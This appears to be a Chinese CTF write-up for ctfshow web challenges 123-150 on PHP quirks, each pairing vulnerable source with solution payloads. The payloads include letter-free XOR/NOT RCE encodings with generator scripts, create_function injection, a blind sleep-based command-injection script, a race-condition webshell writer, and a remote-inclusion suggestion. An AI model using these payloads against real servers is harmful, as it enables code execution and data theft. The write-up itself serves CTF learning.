ctfshow - web123-150 - PHP特性2
题目都是ctfshow的,版权是ctfshow的!!!!!!如果侵权,联系立马删除
web123
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
变量名出现.
变量名应该只有数字、字母、下划线,GET、POST方式传进去的变量名会自动将空格、+、.、[、转换为_。
特殊字符[,经GET、POST方式传参,变量名中的[也会被替换为_,但其后字符不会被替换。
如CTF[SHOW.COM=>CTF_SHOW.COM。
!isset($_GET['fl0g']
???
payload1
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
payload2
CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS),感觉可以,不过打不通。
web125
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
$_SERVER['argv']
- cli模式下(命令行)
$_SERVER['argv'][0]
,其余是传递给脚本的参数 - web网页下
在php.ini开启register_argc_argv配置项 设置register_argc_argv = On,可以控制参数。
在
$_SERVER['argv'][0]
中,对于传递的参数,可以通过加号+
进行分割http://www.360doc.com/content/18/0203/09/52553745_727370869.shtml
assert
assert(mixed $assertion
, Throwable $exception
= ?): bool。如果 assertion
是字符串,它将会被 assert() 当做 PHP 代码来执行。
payload1
GET:?$f10g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
payload2
在$_SERVER['argv'][0]
中,对于传递的参数,可以通过加号+
进行分割。
parse_str() 函数把查询字符串解析到变量中。
GET: a=1+fl0g=flag_give_me
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
或
GET: a=1+$fl0g=flag_give_me
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[1])
payload3
GET:?1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
web126
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
payload1
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
payload2
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web127
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
$_SERVER['QUERY_STRING'];
传递参数的方式
获取的为url?获得值
payload
利用传参时空格可以会替换为_实现绕过waf。
?ctf show=ilove36d
web128
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
想不到合适的函数可以绕过check
https://www.cnblogs.com/lost-1987/articles/3309693.html
https://www.php.net/manual/zh/book.gettext.php
gettext();_()
_()是一个函数 *()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
在开启该拓展后 _() 等效于 gettext()
get_defined_vars( void)
array 返回由所有已定义变量所组成的数组
var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));
payload
?f1=_&f2=get_defined_vars
web129
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
需要构造f中含有flag文件和ctfshow的形式,关键就是如何分割这两部分。
目录穿越
利用目录穿越漏洞绕过 stripos 检测字符,stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
payload1
?f=/ctfshow/../../../../var/www/html/flag.php
payload2
伪协议绕过
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/read=ctfshow/resource=flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了。
payload3
远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。
例如 f=http://url/xxx.txt?ctfshow
其中xxx.txt为一句话
web130
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
my thought
匹配字符串过滤ctfshow,但是又需要包含,想法是能否通过截断preg_match。
right way
- /.+?ctfshow/is 该正则直接通过ctfshow即可绕过
利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
payload1
f=ctfshow
或f[]=ctfshow
payload2
import requests
url="http://f6736092-7d96-46c5-bfb7-a31f636efae9.chall.ctf.show:8080/"
data={
'f':'a'*1000000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web131
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
payload
web130的payload1均不行,payload2干。
import requests
url="http://c1c9f7bc-4491-4e51-865f-8327a59e3db3.challenge.ctf.show:8080/"
data={
'f':'a'*1000000+'3ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web132
访问robot.txt,发现存在/admin,发现源码
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: [email protected]
# @link: https://ctfer.com
*/
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
my thought
&&与||优先级,保证username=admin后即可进入内部if判断。
payload
?username=admin&password=&code=admin
web133——不懂未做
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 16:43:44
*/
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
my thought
cat f; vi f;均不行。。
right way
https://blog.csdn.net/qq_46091464/article/details/109095382
payload
web134
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-14 23:01:06
*/
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
my thought
参考web127,不明白如何绕过
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2']))
right way
php变量覆盖 + extract($_POST);
php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。
先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
parse_str($_SERVER['QUERY_STRING']);var_dump($_POST);
传入?_POST['a']=123
,输出array(1) { ["'a'"]=> string(3) "123" }
payload
GET
?_POST[key1]=36d&_POST[key2]=36d
web135——不懂未做
题目
my thought
right way
payload
web136
题目
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
my thought
尝试了?c=ls;无回显,不知道是语法错误还是其他问题。
right way
linux tee命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出
payload
?c=ls /| tee 1
访问 url/1,可看到/根目录下文件
?c=cat /f149_15_h3r3| tee 2
访问url/2可得flag。
web137
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:27:49
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
my thought
不懂如何调用getFlag函数。
right way
call_user_func调用类中的方法
双冒号可以不用实例化一个类的情况下调用类的静态方法。
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
?>
/*
Hello!
Hello!
Hello!
*/
payload
ctfshow=ctfshow::getFlag
web138
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:52:13
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
my thought
凉,刚才的方法不行了。
right way
call_user_func调用类中的方法
可以使用数组绕过,取数组的key进行调用
payload
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
题目
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
right way
无回显,需要盲打(类似sql盲注)
要解决两个问题【why??
- 截取字符串
- 判断命令执行结构
awk逐行获取
cut命令截取单独的字符
cut -c x,x为截取的字符
payload
cmd处先换成ls /,查看/路径下文件。
import requests
cmd = 'cat /f149_15_h3r3'
result = ''
for i in range(1, 10):
for j in range(1, 50):
print('i=', i, ' j=', j)
for k in range(32, 128):
k = chr(k)
payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi"
payload = '?c=' + payload
url = 'xxx'
try:
requests.get(url + payload, timeout=(2.5, 2.5))
except:
result = result + k
print(result)
break
result = result + "\n"
web140
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 12:39:25
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
my thought
构造一个无参函数,一个含参函数,使得返回值为ctfshow。
right way
考察: 函数的利用
通过表格松散比较可以看到0和字符串比较结果为真
所以intval($code)为0即可,intval会将非数字字符转为0.
payload
f1=usleep&f2=usleep
或
f1=intval&f2=intval
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())
......
web141
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:28:09
*/
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
my thought
^除^后外字符
w字母数字下划线
+匹配子表达式一次或多次
$匹配输入字符串的结尾
构造形式没思路。
right way
无数字字母rce
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
绕过eval("return $v1$v3$v2;");
1system("whoami");
error不会执行1+system("whoami");
Warning 会执行
这是php中一个有意思的地方,数字是可以和命令进行一些运算的,例如1+phpinfo();
是可以执行phpinfo()命令的, 命令前加一些 + - * / 之类的都可以成功命令执行,。所以我们只要构造1*system("cat flag.php")*1
即可读取flag (这里不用加号是因为会被解析成空格)
payload
?v1=1&v2=1&v3=*(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
?v1=1&v2=1&v3=*(~%8C%86%8C%8B%9A%92)(~%93%8C);
最后读flag。
?v1=1&v2=1&v3=*(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);
web142
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:36:02
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
my thought
0乘任何数都等于0.
payload
?v1=0
web143
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 12:48:14
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
payload
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")?>
=>system(ls);
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")?>
=>system(cat flag.php)
web144
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 16:21:15
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
v3长度应为1,换一下参数的位置
payload
?v1=1&v3=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")?>
web145
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
异或和非不好使了,用或
//对双引号做了过滤,用单引号替换
//对加减乘除做了过滤,可以1用或替换 0|(xxx)|0 ,当然也可以用三元运算符 1?(xxxx):0
payload
?v1=0&v2=0&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
web146
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
payload
?v1=0&v2=0&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
web147
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 02:04:38
*/
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
my thought
$ctfshow('',$_GET['show']);想不到合适的函数。
right way
php里默认命名空间是,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法.
create_function()代码注入
https://my.oschina.net/huyex/blog/2885273
create_function('$a,$b','return 111')
==>
function a($a, $b){
return 111;
}
想要执行任意代码,需要跳出函数的定义。
create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
return 111;}phpinfo();//
}
这样就能进行任意代码执行。
payload
POST
ctf=create_function
GET
?show=;}system('ls ');//
?show=;}system('cat flag.php');//
web148
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 03:52:11
*/
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
无字母数字RCE异或取反脚本
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));//根据题目改
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("148_xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
如果不需要system等命令执行函数,直接写函数名即可。
payload1
?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")(""^"");
payload2
$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*
web149
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 04:34:40
*/
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
payload1
非预期
GET
?ctf=index.php
POST
show=<?php eval($_POST[1]); ?>
我出不来。。
payload2
# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading
url = 'http://c94e1c3c-3896-4603-9c37-80fa23cbb138.challenge.ctf.show:8080/'
def write():
while event.isSet():
data = {
'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
#'show': '<?php system("ls /");?>'
}
requests.post(url=url+'?ctf=1.php', data=data)
def read():
while event.isSet():
response = requests.get(url + '1.php')
if response.status_code != 404:
print(response.text)
event.clear()
if __name__ == "__main__":
event = threading.Event()
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()
for i in range(1, 100):
threading.Thread(target=read).start()
bp也搞得来
web150
题目
my thought
right way
payload
payload
web150_PLUS
题目
my thought
right way
payload
再看
123、128、133、134、135、136、137、139 、140、141、143、149、
参考
https://npfs06.top/2021/03/08/CTFshow-web%E5%85%A5%E9%97%A8-php%E7%89%B9%E6%80%A7/
https://blog.csdn.net/weixin_45551083/article/details/110574834